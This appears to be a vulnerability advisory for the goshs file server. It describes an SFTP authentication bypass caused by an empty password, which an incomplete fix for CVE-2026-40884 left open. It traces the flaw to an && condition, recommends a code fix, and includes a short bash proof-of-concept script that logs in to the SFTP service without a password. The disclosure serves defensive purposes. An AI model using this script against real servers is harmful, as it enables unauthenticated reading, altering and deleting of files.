goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)

Summary

Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.

CVE-2026-40884

CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:

if s.Username != "" && s.Password != "" {
    sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
        return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
    }
}

Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.

Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:

if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
    logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}

HasPrefix(":") catches empty username. It does not catch empty password.

Empty Password Bypass

Same && at sftpserver.go:85. Same nil handler. Different input:

goshs -b 'admin:' -sftp

• Username = "admin", Password = ""
• Username != "" && Password != "" → false. Password is empty.
• PasswordHandler not set. No -fkf → PublicKeyHandler not set.
• gliderlabs/ssh → NoClientAuth = true.

CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.

PoC

#!/usr/bin/env bash
set -euo pipefail

HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o PreferredAuthentications=none,password \
  -o PubkeyAuthentication=no \
  -P "$PORT" -b - admin@"$HOST" 2>&1 && \
  echo "[+] VULNERABLE: Connected without password!" || \
  echo "[-] Connection failed (patched or not running)"

Root Cause

// Wrong: &&
if s.Username != "" && s.Password != "" {

// Correct: ||
if s.Username != "" || s.Password != "" {

&& blocks PasswordHandler when either field is empty. || installs it when either field is set.

Incomplete Fix

Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:

1. && still at sftpserver.go:85 in v2.1.3
2. No HasSuffix(":") check for empty password

Impact

• Unauthenticated SFTP file access (read, write, delete, rename)
• Same impact as CVE-2026-40884 via a different input
• Exploitable with -b 'user:' and no -fkf

Affected

All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.

Recommended Fix

1. && → || at sftpserver/sftpserver.go:85
2. HasSuffix(":") check at sanity/checks.go
3. Shared auth handler setup for HTTP and SFTP code paths